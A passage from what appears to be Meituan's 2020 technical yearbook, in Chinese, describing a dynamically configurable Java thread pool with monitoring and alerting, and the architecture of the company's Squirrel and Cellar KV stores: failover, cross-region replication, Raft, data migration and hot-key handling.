事故原因：该服务处理请求内部逻辑使用线程池做资源隔离，由于队列设置过长，最

大线程数设置失效，导致请求数量增加时，大量任务堆积在队列中，任务执行时间过

长，最终导致下游服务的大量调用超时失败。示意图如下：
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图 15　线程池队列长度设置过长、corePoolSize 设置过小导致任务执行速度低

业务中要使用线程池，而使用不当又会导致故障，那么我们怎样才能更好地使用线程

池呢？针对这个问题，我们下面延展几个方向：

1.	能否不用线程池 ?

回到最初的问题，业务使用线程池是为了获取并发性，对于获取并发性，是否可以有

什么其他的方案呢替代？我们尝试进行了一些其他方案的调研：



后台　<　265

综合考虑，这些新的方案都能在某种情况下提升并行任务的性能，然而本次重点解决

的问题是如何更简易、更安全地获得的并发性。另外，Actor 模型的应用实际上甚少，

只在 Scala 中使用广泛，协程框架在 Java 中维护的也不成熟。这三者现阶段都不是

足够的易用，也并不能解决业务上现阶段的问题。

2.	追求参数设置合理性？

有没有一种计算公式，能够让开发同学很简易地计算出某种场景中的线程池应该是什

么参数呢？

带着这样的疑问，我们调研了业界的一些线程池参数配置方案：

调研了以上业界方案后，我们并没有得出通用的线程池计算方式。并发任务的执行情

况和任务类型相关，IO 密集型和 CPU 密集型的任务运行起来的情况差异非常大，但

这种占比是较难合理预估的，这导致很难有一个简单有效的通用公式帮我们直接计算

出结果。

3.	线程池参数动态化？

尽管经过谨慎的评估，仍然不能够保证一次计算出来合适的参数，那么我们是否可以
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将修改线程池参数的成本降下来，这样至少可以发生故障的时候可以快速调整从而缩

短故障恢复的时间呢？基于这个思考，我们是否可以将线程池的参数从代码中迁移到

分布式配置中心上，实现线程池参数可动态配置和即时生效，线程池参数动态化前后

的参数修改流程对比如下：

图 16　动态修改线程池参数新旧流程对比

基于以上三个方向对比，我们可以看出参数动态化方向简单有效。

3.3	动态化线程池

3.3.1	整体设计

动态化线程池的核心设计包括以下三个方面：

1. 简化线程池配置：线程池构造参数有 8 个，但是最核心的是 3 个：corePool-

Size、maximumPoolSize，workQueue，它们最大程度地决定了线程池的

任务分配和线程分配策略。考虑到在实际应用中我们获取并发性的场景主要

是两种：（1）并行执行子任务，提高响应速度。这种情况下，应该使用同步队

列，没有什么任务应该被缓存下来，而是应该立即执行。（2）并行执行大批次

任务，提升吞吐量。这种情况下，应该使用有界队列，使用队列去缓冲大批

量的任务，队列容量必须声明，防止任务无限制堆积。所以线程池只需要提

供这三个关键参数的配置，并且提供两种队列的选择，就可以满足绝大多数

的业务需求，Less is More。

2. 参数可动态修改：为了解决参数不好配，修改参数成本高等问题。在 Java 线

程池留有高扩展性的基础上，封装线程池，允许线程池监听同步外部的消息，
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根据消息进行修改配置。将线程池的配置放置在平台侧，允许开发同学简单

的查看、修改线程池配置。

3. 增加线程池监控：对某事物缺乏状态的观测，就对其改进无从下手。在线程池

执行任务的生命周期添加监控能力，帮助开发同学了解线程池状态。

图 17　动态化线程池整体设计

3.3.2	功能架构

动态化线程池提供如下功能：

动态调参：支持线程池参数动态调整、界面化操作；包括修改线程池核心大小、最大

核心大小、队列长度等；参数修改后及时生效。 任务监控：支持应用粒度、线程池粒

度、任务粒度的 Transaction 监控；可以看到线程池的任务执行情况、最大任务执行

时间、平均任务执行时间、95/99 线等。 负载告警：线程池队列任务积压到一定值的

时候会通过大象（美团内部通讯工具）告知应用开发负责人；当线程池负载数达到一

定阈值的时候会通过大象告知应用开发负责人。 操作监控：创建 / 修改和删除线程池

都会通知到应用的开发负责人。 操作日志：可以查看线程池参数的修改记录，谁在什

么时候修改了线程池参数、修改前的参数值是什么。 权限校验：只有应用开发负责人

才能够修改应用的线程池参数。
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图 18　动态化线程池功能架构

参数动态化

JDK 原生线程池 ThreadPoolExecutor 提供了如下几个 public 的 setter 方法，如

下图所示：

图 19　JDK 线程池参数设置接口

JDK 允许线程池使用方通过 ThreadPoolExecutor 的实例来动态设置线程池的核

心策略，以 setCorePoolSize 为方法例，在运行期线程池使用方调用此方法设置

corePoolSize 之后，线程池会直接覆盖原来的 corePoolSize 值，并且基于当前
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值和原始值的比较结果采取不同的处理策略。对于当前值小于当前工作线程数的情

况，说明有多余的 worker 线程，此时会向当前 idle 的 worker 线程发起中断请求

以实现回收，多余的 worker 在下次 idel 的时候也会被回收；对于当前值大于原始

值且当前队列中有待执行任务，则线程池会创建新的 worker 线程来执行队列任务，

setCorePoolSize 具体流程如下：

图 20　setCorePoolSize 方法执行流程

线程池内部会处理好当前状态做到平滑修改，其他几个方法限于篇幅，这里不一一



270　>　美团 2020 技术年货

介绍。重点是基于这几个 public 方法，我们只需要维护 ThreadPoolExecutor 的

实例，并且在需要修改的时候拿到实例修改其参数即可。基于以上的思路，我们实

现了线程池参数的动态化、线程池参数在管理平台可配置可修改，其效果图如下图

所示：

图 21　可动态修改线程池参数

用户可以在管理平台上通过线程池的名字找到指定的线程池，然后对其参数进行修

改，保存后会实时生效。目前支持的动态参数包括核心数、最大值、队列长度等。除

此之外，在界面中，我们还能看到用户可以配置是否开启告警、队列等待任务告警阈
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值、活跃度告警等等。关于监控和告警，我们下面一节会对齐进行介绍。

线程池监控

除了参数动态化之外，为了更好地使用线程池，我们需要对线程池的运行状况有感

知，比如当前线程池的负载是怎么样的？分配的资源够不够用？任务的执行情况是怎

么样的？是长任务还是短任务？基于对这些问题的思考，动态化线程池提供了多个

维度的监控和告警能力，包括：线程池活跃度、任务的执行 Transaction（频率、耗

时）、Reject 异常、线程池内部统计信息等等，既能帮助用户从多个维度分析线程池

的使用情况，又能在出现问题第一时间通知到用户，从而避免故障或加速故障恢复。

1.	负载监控和告警

线程池负载关注的核心问题是：基于当前线程池参数分配的资源够不够。对于这个问

题，我们可以从事前和事中两个角度来看。事前，线程池定义了“活跃度”这个概

念，来让用户在发生 Reject 异常之前能够感知线程池负载问题，线程池活跃度计算

公式为：线程池活跃度 = activeCount/maximumPoolSize。这个公式代表当活跃线

程数趋向于 maximumPoolSize 的时候，代表线程负载趋高。事中，也可以从两方

面来看线程池的过载判定条件，一个是发生了 Reject 异常，一个是队列中有等待任

务（支持定制阈值）。以上两种情况发生了都会触发告警，告警信息会通过大象推送给

服务所关联的负责人。
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图 22　大象告警通知

2.	任务级精细化监控

在传统的线程池应用场景中，线程池中的任务执行情况对于用户来说是透明的。比如

在一个具体的业务场景中，业务开发申请了一个线程池同时用于执行两种任务，一个

是发消息任务、一个是发短信任务，这两类任务实际执行的频率和时长对于用户来说
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没有一个直观的感受，很可能这两类任务不适合共享一个线程池，但是由于用户无法

感知，因此也无从优化。动态化线程池内部实现了任务级别的埋点，且允许为不同的

业务任务指定具有业务含义的名称，线程池内部基于这个名称做 Transaction 打点，

基于这个功能，用户可以看到线程池内部任务级别的执行情况，且区分业务，任务监

控示意图如下图所示：

图 23　线程池任务执行监控

3.	运行时状态实时查看

用户基于 JDK 原生线程池 ThreadPoolExecutor 提供的几个 public 的 getter 方法，

可以读取到当前线程池的运行状态以及参数，如下图所示：

图 24　线程池实时运行情况

动态化线程池基于这几个接口封装了运行时状态实时查看的功能，用户基于这个功能

可以了解线程池的实时状态，比如当前有多少个工作线程，执行了多少个任务，队列

中等待的任务数等等。效果如下图所示：
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图 25　线程池实时运行情况

3.4	实践总结

面对业务中使用线程池遇到的实际问题，我们曾回到支持并发性问题本身来思考有没

有取代线程池的方案，也曾尝试着去追求线程池参数设置的合理性，但面对业界方案

具体落地的复杂性、可维护性以及真实运行环境的不确定性，我们在前两个方向上可

谓“举步维艰”。最终，我们回到线程池参数动态化方向上探索，得出一个且可以解

决业务问题的方案，虽然本质上还是没有逃离使用线程池的范畴，但是在成本和收益
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之间，算是取得了一个很好的平衡。成本在于实现动态化以及监控成本不高，收益在

于：在不颠覆原有线程池使用方式的基础之上，从降低线程池参数修改的成本以及多

维度监控这两个方面降低了故障发生的概率。希望本文提供的动态化线程池思路能对

大家有帮助。

四、参考资料
[1] JDK 1.8 源码

[2] 维基百科 - 线程池

[3] 更好的使用 Java 线程池

[4] 维基百科 Pooling(Resource Management)

[5] 深入理解 Java 线程池：ThreadPoolExecutor

[6] 《Java 并发编程实践》
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美团万亿级	KV	存储架构与实践

作者：泽斌

KV 存储作为美团一项重要的在线存储服务，承载了在线服务每天万亿级的请求量。

在 2019 年 QCon 全球软件开发大会（上海站）上，美团高级技术专家齐泽斌分享了

《美团点评万亿级 KV 存储架构与实践》，本文系演讲内容的整理，主要分为四个部

分：第一部分讲述了美团 KV 存储的发展历程；第二部分阐述了内存 KV Squirrel 架

构和实践；第三部分介绍了持久化 KV Cellar 架构和实践；最后分享了未来的发展规

划和业界新趋势。

美团点评 KV 存储发展历程

美团第一代的分布式 KV 存储如下图左侧的架构所示，相信很多公司都经历过这个阶

段。在客户端内做一致性哈希，在后端部署很多的 Memcached 实例，这样就实现

了最基本的 KV 存储分布式设计。但这样的设计存在很明显的问题：比如在宕机摘除

节点时，会丢数据，缓存空间不够需要扩容，一致性哈希也会丢失一些数据等等，这

样会给业务开发带来的很多困扰。

随着 Redis 项目的成熟，美团也引入了 Redis 来解决我们上面提到的问题，进而演

进出来如上图右侧这样一个架构。大家可以看到，客户端还是一样，采用了一致性哈
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希算法，服务器端变成了 Redis 组成的主从结构。当任何一个节点宕机，我们可以

通过 Redis 哨兵完成 Failover，实现高可用。但有一个问题还是没有解决，如果扩

缩容的话，一致性哈希仍然会丢数据，那么这个问题该如何解决呢？

这个时候，我们发现有了一个比较成熟的 KV 存储开源项目：阿里 Tair 。2014 年，

我们引入了 Tair 来满足业务 KV 存储方面的需求。Tair 开源版本的架构主要分成三

部分：上图下边是存储节点，存储节点会上报心跳到它的中心节点，中心节点内部有

两个配置管理节点，会监控所有的存储节点。当有任何存储节点宕机或者扩容时，它

会做集群拓扑的重新构建。当客户端启动时，它会直接从中心节点拉来一个路由表。

这个路由表简单来说就是一个集群的数据分布图，客户端根据路由表直接去存储节点

读写。针对之前 KV 的扩容丢数据问题，它也有数据迁移机制来保证数据的完整性。

但是，我们在使用的过程中，还遇到了一些其他问题，比如中心节点虽然是主备高可

用的，但实际上它没有类似于分布式仲裁的机制，所以在网络分割的情况下，它是有

可能发生“脑裂”的，这个也给我们的业务造成过比较大的影响。另外，在容灾扩容

时，也遇到过数据迁移影响到业务可用性的问题。另外，我们之前用过 Redis ，业

务会发现 Redis 的数据结构特别丰富，而 Tair 还不支持这些数据结构。虽然我们用 

Tair 解决了一些问题，但是 Tair 也无法完全满足业务需求。毕竟，在美团这样一个

业务规模较大和业务复杂度较高的场景下，很难有开源系统能很好地满足我们的需



278　>　美团 2020 技术年货

求。最终，我们决定在已应用的开源系统之上进行自研。

刚好在 2015 年， Redis 官方正式发布了集群版本 Redis Cluster。所以，我们紧跟

社区步伐，并结合内部需求做了很多开发工作，演进出了全内存、高吞吐、低延迟

的 KV 存储 Squirrel。另外，基于 Tair，我们还加入了很多自研的功能，演进出持久

化、大容量、数据高可靠的 KV 存储 Cellar 。因为 Tair 的开源版本已经有四五年没

有更新了，所以，Cellar 的迭代完全靠美团自研，而 Redis 社区一直很活跃。总的

来说，Squirrel 的迭代是自研和社区并重，自研功能设计上也会尽量与官方架构进行

兼容。后面大家可以看到，因为这些不同，Cellar 和 Squirrel 在解决同样的问题时

也选取了不同的设计方案。

这两个存储其实都是 KV 存储领域不同的解决方案。在实际应用上，如果业务的数据

量小，对延迟敏感，我们建议大家用 Squirrel ；如果数据量大，对延迟不是特别敏

感，我们建议用成本更低的 Cellar 。目前这两套 KV 存储系统在美团内部每天的调

用量均已突破万亿，它们的请求峰值也都突破了每秒亿级。

内存 KV Squirrel 架构和实践

在开始之前，本文先介绍两个存储系统共通的地方。比如分布式存储的经典问题：数据

是如何分布的？这个问题在 KV 存储领域，就是 Key 是怎么分布到存储节点上的。这
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里 Squirrel 跟 Cellar 是一样的。当我们拿到一个 Key 后，用固定的哈希算法拿到一个

哈希值，然后将哈希值对 Slot 数目取模得到一个 Slot id，我们两个 KV 现在都是预分

片 16384 个 Slot 。得到 Slot id 之后，再根据路由表就能查到这个 Slot 存储在哪个存

储节点上。这个路由表简单来说就是一个 Slot 到存储节点的对照表。

KV 数据分布介绍

接下来讲一下对高可用架构的认知，个人认为高可用可以从宏观和微观两个角度来

看。从宏观的角度来看，高可用就是指容灾怎么做。比如说挂掉了一个节点，你该怎

么做？一个机房或者说某个地域的一批机房宕机了，你该怎么做？而从微观的角度

看，高可用就是怎么能保证端到端的高成功率。我们在做一些运维升级或者扩缩容数

据迁移的时候，能否做到业务请求的高可用？ 本文也会从宏观和微观两个角度来分享

美团做的一些高可用工作。
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Squirrel 架构

上图就是我们的 Squirrel 架构。中间部分跟 Redis 官方集群是一致的。它有主从的

结构， Redis 实例之间通过 Gossip 协议去通信。我们在右边添加了一个集群调度平

台，包含调度服务、扩缩容服务和高可用服务等，它会去管理整个集群，把管理结果

作为元数据更新到 ZooKeeper。我们的客户端会订阅 ZooKeeper 上的元数据变更，

实时获取到集群的拓扑状态，直接在 Redis 集群进行读写操作。

Squirrel 节点容灾

然后再看一下 Squirrel 容灾怎么做。对于 Redis 集群而言，节点宕机已经有完备的

处理机制了。官方提供的方案，任何一个节点从宕机到被标记为 FAIL 摘除，一般需

要经过 30 秒。主库的摘除可能会影响数据的完整性，所以，我们需要谨慎一些。但

是对于从库呢？我们认为这个过程完全没必要。另一点，我们都知道内存的 KV 存储

数据量一般都比较小。对于业务量很大的公司来说，它往往会有很多的集群。如果发

生交换机故障，会影响到很多的集群，宕机之后去补副本就会变得非常麻烦。为了解

决这两个问题，我们做了 HA 高可用服务。

它的架构如下图所示，它会实时监控集群的所有节点。不管是网络抖动，还是发生了

宕机（比如说 Redis 2），它可以实时更新 ZooKeeper，告诉 ZooKeeper 去摘除 

Redis 2，客户端收到消息后，读流量就直接路由到 Redis 3 上。如果 Redis 2 只
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是几十秒的网络抖动，过几十秒之后，如果 HA 节点监控到它恢复后，会把它重新

加回。

Squirrel—节点容灾

如果过了一段时间，HA 判断它属于一个永久性的宕机，HA 节点会直接从 Kuber-

netes 集群申请一个新的 Redis 4 容器实例，把它加到集群里。此时，拓扑结构又

变成了一主两从的标准结构，HA 节点更新完集群拓扑之后，就会去写 ZooKeeper 

通知客户端去更新路由，客户端就能到 Redis 4 这个新从库上进行读操作。

通过上述方案，我们把从库的摘除时间从 30 秒降低到了 5 秒。另外，我们通过 HA 

自动申请容器实例加入集群的方式，把宕机补副本变成了一个分钟级的自动操作，不
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需要任何人工的介入。

Squirrel 跨地域容灾

我们解决了单节点宕机的问题，那么跨地域问题如何解决呢？我们首先来看下跨地域

有什么不同。第一，相对于同地域机房间的网络而言，跨地域专线很不稳定；第二，

跨地域专线的带宽是非常有限且昂贵的。而集群内的复制没有考虑极端的网络环境。

假如我们把主库部署到北京，两个从库部署在上海，同样一份数据要在北上专线传输

两次，这样会造成巨大的专线带宽浪费。另外，随着业务的发展和演进，我们也在做

单元化部署和异地多活架构。用官方的主从同步，满足不了我们的这些需求。基于

此，我们又做了集群间的复制方案。

如上图所示，这里画出了北京的主集群以及上海的从集群，我们要做的是通过集群同

步服务，把北京主集群的数据同步到上海从集群上。按照流程，首先要向我们的同步

调度模块下发“在两个集群间建立同步链路”的任务，同步调度模块会根据主从集群

的拓扑结构，把主从集群间的同步任务下发到同步集群，同步集群收到同步任务后会

扮成 Redis 的 Slave，通过 Redis 的复制协议，从主集群上的从库拉取数据，包括 

RDB 以及后续的增量变更。同步机收到数据后会把它转成客户端的写命令，写到上
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海从集群的主节点里。通过这样的方式，我们把北京主集群的数据同步到了上海的从

集群。同样的，我们要做异地多活也很简单，再加一个反向的同步链路，就可以实现

集群间的双向同步。

接下来我们讲一下如何做好微观角度的高可用，也就是保持端到端的高成功率。对于 

Squirrel ，主要讲如下三个影响成功率的问题：

 ● 数据迁移造成超时抖动。

 ● 持久化造成超时抖动。

 ● 热点 Key 请求导致单节点过载。

Squirrel 智能迁移

对于数据迁移，我们主要遇到三个问题：

 ● Redis Cluster 虽然提供了数据迁移能力，但是对于要迁哪些 Slot，Slot 从哪

迁到哪，它并不管。

 ● 做数据迁移的时候，大家都想越快越好，但是迁移速度过快又可能影响业务正

常请求。

 ● Redis 的 Migrate 命令会阻塞工作线程，尤其在迁移大 Value 的时候会阻塞

特别久。

为了解决这些问题，我们做了全新的迁移服务。
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下面我们按照工作流，讲一下它是如何运行的。首先生成迁移任务，这步的核心是

“就近原则”，比如说同机房的两个节点做迁移肯定比跨机房的两个节点快。迁移任

务生成之后，会把任务下发到一批迁移机上。迁移机迁移的时候，有这样几个特点：

 ● 第一，会在集群内迁出节点间做并发，比如同时给 Redis 1、Redis 3 下发迁

移命令。

 ● 第二，每个 Migrate 命令会迁移一批 Key。

 ● 第三，我们会用监控服务去实时采集客户端的成功率、耗时，服务端的负载、

QPS 等，之后把这个状态反馈到迁移机上。迁移数据的过程就类似 TCP 慢启

动的过程，它会把速度一直往上加，若出现请求成功率下降等情况，它的速度

就会降低，最终迁移速度会在动态平衡中稳定下来，这样就达到了最快速的迁

移，同时又尽可能小地影响业务的正常请求。

接下来，我们看一下大 Value 的迁移，我们实现了一个异步 Migrate 命令，该命令

执行时，Redis 的主线程会继续处理其他的正常请求。如果此时有对正在迁移 Key 

的写请求过来，Redis 会直接返回错误。这样最大限度保证了业务请求的正常处理，

同时又不会阻塞主线程。
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Squirrel 持久化重构

Redis 主从同步时会生成 RDB。生成 RDB 的过程会调用 Fork 产生一个子进程去写

数据到硬盘，Fork 虽然有操作系统的 COW 机制，但是当内存用量达到 10 G 或 20 

G 时，依然会造成整个进程接近秒级的阻塞。这对在线业务来说几乎是无法接受的。

我们也会为数据可靠性要求高的业务去开启 AOF，而开 AOF 就可能因 IO 抖动造成

进程阻塞，这也会影响请求成功率。对官方持久化机制的这两个问题，我们的解决方

案是重构持久化机制。

上图是我们最新版的 Redis 持久化机制，写请求会先写到 DB 里，然后写到内存 

Backlog，这跟官方是一样的。同时它会把请求发给异步线程，异步线程负责把变更

刷到硬盘的 Backlog 里。当硬盘 Backlog 过多时，我们会主动在业务低峰期做一次 

RDB ，然后把 RDB 之前生成的 Backlog 删除。

如果这时候我们要做主从同步，去寻找同步点的时候，该怎么办？第一步还是跟官方

一样，我们会从内存 Backlog 里找有没有要求的同步点，如果没有，我们会去硬盘 

Backlog 找同步点。由于硬盘空间很大，硬盘 Backlog 可以存储特别多的数据，所

以很少会出现找不到同步点的情况。如果硬盘 Backlog 也没有，我们就会触发一次

类似于全量重传的操作，但这里的全量重传是不需要当场生成 RDB 的，它可以直接

用硬盘已存的 RDB 及其之后的硬盘 Backlog 完成全量重传。通过这个设计，我们减
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少了很多的全量重传。另外，我们通过控制在低峰区生成 RDB ，减少了很多 RDB 

造成的抖动。同时，我们也避免了写 AOF 造成的抖动。不过，这个方案因为写 AOF 

是完全异步的，所以会比官方的数据可靠性差一些，但我们认为这个代价换来了可用

性的提升，这是非常值得的。

Squirrel 热点 Key

下面看一下 Squirrel 的热点 Key 解决方案。如下图所示，普通主、从是一个正常集

群中的节点，热点主、从是游离于正常集群之外的节点。我们看一下它们之间怎么发

生联系。

当有请求进来读写普通节点时，节点内会同时做请求 Key 的统计。如果某个 Key 达

到了一定的访问量或者带宽的占用量，会自动触发流控以限制热点 Key 访问，防止

节点被热点请求打满。同时，监控服务会周期性的去所有 Redis 实例上查询统计到

的热点 Key。如果有热点，监控服务会把热点 Key 所在 Slot 上报到我们的迁移服

务。迁移服务这时会把热点主从节点加入到这个集群中，然后把热点 Slot 迁移到这

个热点主从上。因为热点主从上只有热点 Slot 的请求，所以热点 Key 的处理能力得

到了大幅提升。通过这样的设计，我们可以做到实时的热点监控，并及时通过流控去
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止损；通过热点迁移，我们能做到自动的热点隔离和快速的容量扩充。

持久化 KV Cellar 架构和实践

下面看一下持久化 KV Cellar 的架构和实践。下图是我们最新的 Cellar 架构图。

跟阿里开源的 Tair 主要有两个架构上的不同。第一个是 OB，第二个是 ZooKeep-

er。我们的 OB 跟 ZooKeeper 的 Observer 是类似的作用，提供 Cellar 中心节点

元数据的查询服务。它可以实时与中心节点的 Master 同步最新的路由表，客户端的

路由表都是从 OB 去拿。 这样做的好处主要有两点，第一，把大量的业务客户端跟

集群的大脑 Master 做了天然的隔离，防止路由表请求影响集群的管理。第二，因为 

OB 只供路由表查询，不参与集群的管理，所以它可以进行水平扩展，极大地提升了

我们路由表的查询能力。另外，我们引入了 ZooKeeper 做分布式仲裁，解决我刚才

提到的 Master、Slave 在网络分割情况下的“脑裂”问题，并且通过把集群的元数

据存储到 ZooKeeper，我们保证了元数据的高可靠。
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Cellar 节点容灾

介绍完整体的架构，我们看一下 Cellar 怎么做节点容灾。一个集群节点的宕机一般

是临时的，一个节点的网络抖动也是临时的，它们会很快地恢复，并重新加入集群。

因为节点的临时离开就把它彻底摘除，并做数据副本补全操作，会消耗大量资源，进

而影响到业务请求。所以，我们实现了 Handoff 机制来解决这种节点短时故障带来

的影响。

如上图所示 ，如果 A 节点宕机了，会触发 Handoff 机制，这时候中心节点会通知

客户端 A 节点发生了故障，让客户端把分片 1 的请求也打到 B 上。B 节点正常处理

完客户端的读写请求之后，还会把本应该写入 A 节点的分片 1&2 数据写入到本地的 

Log 中。
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如果 A 节点宕机后 3~5 分钟，或者网络抖动 30~50 秒之后恢复了，A 节点就会上报

心跳到中心节点，中心节点就会通知 B 节点：“ A 节点恢复了，你去把它不在期间的

数据传给它。”这时候，B 节点就会把本地存储的 Log 回写到 A 节点上。等到 A 节

点拥有了故障期间的全量数据之后，中心节点就会告诉客户端，A 节点已经彻底恢复

了，客户端就可以重新把分片 1 的请求打回 A 节点。

通过这样的操作，我们可以做到秒级的快速节点摘除，而且节点恢复后加回，只需补

齐少量的增量数据。另外如果 A 节点要做升级，中心节点先通过主动 Handoff 把 A 

节点流量切到 B 节点，A 升级后再回写增量 Log，然后切回流量加入集群。这样通
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过主动触发 Handoff 机制，我们就实现了静默升级的功能。

Cellar 跨地域容灾

下面我介绍一下 Cellar 跨地域容灾是怎么做的。Cellar 跟 Squirrel 面对的跨地域容

灾问题是一样的，解决方案同样也是集群间复制。以下图一个北京主集群、上海从集

群的跨地域场景为例，比如说客户端的写操作到了北京的主集群 A 节点，A 节点会像

正常集群内复制一样，把它复制到 B 和 D 节点上。同时 A 节点还会把数据复制一份

到从集群的 H 节点。H 节点处理完集群间复制写入之后，它也会做从集群内的复制，

把这个写操作复制到从集群的 I 、K 节点上。通过在主从集群的节点间建立这样一个

复制链路，我们完成了集群间的数据复制，并且这个复制保证了最低的跨地域带宽占

用。同样的，集群间的两个节点通过配置两个双向复制的链路，就可以达到双向同步

异地多活的效果。

Cellar 强一致

我们做好了节点容灾以及跨地域容灾后，业务又对我们提出了更高要求：强一致存

储。我们之前的数据复制是异步的，在做故障摘除时，可能因为故障节点数据还没复

制出来，导致数据丢失。但是对于金融支付等场景来说，它们是不容许数据丢失的。
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面对这个难题，我们该怎么解决？目前业界主流的解决方案是基于 Paxos 或 Raft 协

议的强一致复制。我们最终选择了 Raft 协议。主要是因为 Raft 论文是非常详实的，

是一篇工程化程度很高的论文。业界也有不少比较成熟的 Raft 开源实现，可以作为

我们研发的基础，进而能够缩短研发周期。

下图是现在 Cellar 集群 Raft 复制模式下的架构图，中心节点会做 Raft 组的调度，

它会决定每一个 Slot 的三副本存在哪些节点上。

大家可以看到 Slot 1 在存储节点 1、2、4 上，Slot 2 在存储节点 2、3、4 上。每

个 Slot 组成一个 Raft 组，客户端会去 Raft Leader 上进行读写。由于我们是预分

配了 16384 个 Slot，所以，在集群规模很小的时候，我们的存储节点上可能会有数

百甚至上千个 Slot 。这时候如果每个 Raft 复制组都有自己的复制线程、 复制请求

和 Log 等，那么资源消耗会非常大，写入性能会很差。所以我们做了 Multi Raft 实

现， Cellar 会把同一个节点上所有的 Raft 复制组写一份 Log，用同一组线程去做复

制，不同 Raft 组间的复制包也会按照目标节点做整合，以保证写入性能不会因 Raft 

组过多而变差。 Raft 内部其实是有自己的选主机制，它可以控制自己的主节点，如

果有任何节点宕机，它可以通过选举机制选出新的主节点。那么，中心节点是不是

就不需要管理 Raft 组了吗？不是的。这里讲一个典型的场景，如果一个集群的部分

节点经过几轮宕机恢复的过程， Raft Leader 在存储节点之间会变得极其不均。而为

了保证数据的强一致，客户端的读写流量又必须发到 Raft Leader，这时候集群的
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节点流量会很不均衡。所以我们的中心节点还会做 Raft 组的 Leader 调度。比如说 

Slot 1 存储在节点 1、2、4，并且节点 1 是 Leader。如果节点 1 挂了，Raft 把节

点 2 选成了 Leader。然后节点 1 恢复了并重新加入集群，中心节点这时会让节点 2 

把 Leader 还给节点 1 。这样，即便经过一系列宕机和恢复，我们存储节点之间的 

Leader 数目仍然能保证是均衡的。

接下来，我们看一下 Cellar 如何保证它的端到端高成功率。这里也讲三个影响成功

率的问题。Cellar 遇到的数据迁移和热点 Key 问题与 Squirrel 是一样的，但解决方

案不一样。这是因为 Cellar 走的是自研路径，不用考虑与官方版本的兼容性，对架

构改动更大些。另一个问题是慢请求阻塞服务队列导致大面积超时，这是 Cellar 网

络、工作多线程模型设计下会遇到的不同问题。

Cellar 智能迁移

上图是 Cellar 智能迁移架构图。我们把桶的迁移分成了三个状态。第一个状态就是

正常的状态，没有任何迁移。如果这时候要把 Slot 2 从 A 节点迁移到 B 节点，A 会

给 Slot 2 打一个快照，然后把这个快照全量发到 B 节点上。在迁移数据的时候， B 

节点的回包会带回 B 节点的状态。B 的状态包括什么？引擎的压力、网卡流量、队列

长度等。A 节点会根据 B 节点的状态调整自己的迁移速度。像 Squirrel 一样，它经
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过一段时间调整后，迁移速度会达到一个动态平衡，达到最快速的迁移，同时又尽可

能小地影响业务的正常请求。

当 Slot 2 迁移完后， 会进入图中 Slot 3 的状态。客户端这时可能还没更新路由表，

当它请求到了 A 节点，A 节点会发现客户端请求错了节点，但它不会返回错误，它

会把请求代理到 B 节点上，然后把 B 的响应包再返回客户端。同时它会告诉客户端，

需要更新一下路由表了，此后客户端就能直接访问到 B 节点。这样就解决了客户端路

由更新延迟造成的请求错误。

Cellar 快慢列队

下图上方是一个标准的线程队列模型。网络线程池接收网络流量解析出请求包，然后

把请求放到工作队列里，工作线程池会从工作队列取请求来处理，然后把响应包放回

网络线程池发出。

我们分析线上发生的超时案例时发现，一批超时请求当中往往只有一两个请求是引擎

处理慢导致的，大部分请求，只是因为在队列等待过久导致整体响应时间过长而超时

了。从线上分析来看，真正的慢请求占超时请求的比例只有 1/20。

我们的解法是什么样？很简单，拆线程池、拆队列。我们的网络线程在收到包之后，
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会根据它的请求特点，是读还是写，快还是慢，分到四个队列里。读写请求比较好区

分，但快慢怎么分开？我们会根据请求的 Key 个数、Value 大小、数据结构元素数

等对请求进行快慢区分。然后用对应的四个工作线程池处理对应队列的请求，就实现

了快慢读写请求的隔离。这样如果我有一个读的慢请求，不会影响另外三种请求的正

常处理。不过这样也会带来一个问题，我们的线程池从一个变成四个，那线程数是不

是变成原来的四倍？其实并不是的，我们某个线程池空闲的时候会去帮助其它的线程

池处理请求。所以，我们线程池变成了四个，但是线程总数并没有变。我们线上验证

中这样的设计能把服务 TP999 的延迟降低 86%，可大幅降低超时率。

Cellar 热点 Key

上图是 Cellar 热点 Key 解决方案的架构图。我们可以看到中心节点加了一个职责，

多了热点区域管理，它现在不只负责正常的数据副本分布，还要管理热点数据的分

布，图示这个集群在节点 C、D 放了热点区域。我们通过读写流程看一下这个方案是

怎么运转的。如果客户端有一个写操作到了 A 节点，A 节点处理完成后，会根据实时

的热点统计结果判断写入的 Key 是否为热点。如果这个 Key 是一个热点，那么它会

在做集群内复制的同时，还会把这个数据复制有热点区域的节点，也就是图中的 C、

D 节点。同时，存储节点在返回结果给客户端时，会告诉客户端，这个 Key 是热点，

这时客户端内会缓存这个热点 Key。当客户端有这个 Key 的读请求时，它就会直接
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去热点区域做数据的读取。通过这样的方式，我们可以做到只对热点数据做扩容，不

像 Squirrel ，要把整个 Slot 迁出来做扩容。有必要的话，中心节点也可以把热点区

域放到集群的所有节点上，所有的热点读请求就能均衡的分到所有节点上。另外，通

过这种实时的热点数据复制，我们很好地解决了类似客户端缓存热点 KV 方案造成的

一致性问题。

发展规划和业界趋势

最后，一起来看看我们项目的规划和业界的技术趋势。这部分内容会按照服务、系

统、硬件三层来进行阐述。首先在服务层，主要有三点：

 ● 第一，Redis Gossip 协议优化。大家都知道 Gossip 协议在集群的规模变大

之后，消息量会剧增，它的 Failover 时间也会变得越来越长。所以当集群规

模达到 TB 级后，集群的可用性会受到很大的影响，所以我们后面会重点在这

方面做一些优化。

 ● 第二，我们已经在 Cellar 存储节点的数据副本间做了 Raft 复制，可以保证数

据强一致，后面我们会在 Cellar 的中心点内部也做一个 Raft 复制，这样就不

用依赖于 ZooKeeper 做分布式仲裁、元数据存储了，我们的架构也会变得更

加简单、可靠。

 ● 第三，Squirrel 和 Cellar 虽然都是 KV 存储，但是因为它们是基于不同的开

源项目研发的，所以 API 和访问协议不同，我们之后会考虑将 Squirrel 和 

Cellar 在 SDK 层做整合，虽然后端会有不同的存储集群，但业务侧可以用一

套 SDK 进行访问。

在系统层面，我们正在调研并去落地一些 Kernel Bypass 技术，像 DPDK、SPDK 

这种网络和硬盘的用户态 IO 技术。它可以绕过内核，通过轮询机制访问这些设备，

可以极大提升系统的 IO 能力。存储作为 IO 密集型服务，性能会获得大幅的提升。

在硬件层面，像支持 RDMA 的智能网卡能大幅降低网络延迟和提升吞吐；还有像 3D 

XPoint 这样的闪存技术，比如英特尔新发布的 AEP 存储，其访问延迟已经比较接近
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内存了，以后闪存跟内存之间的界限也会变得越来越模糊；最后，看一下计算型硬件，

比如通过在闪存上加 FPGA 卡，把原本应该 CPU 做的工作，像数据压缩、解压等，

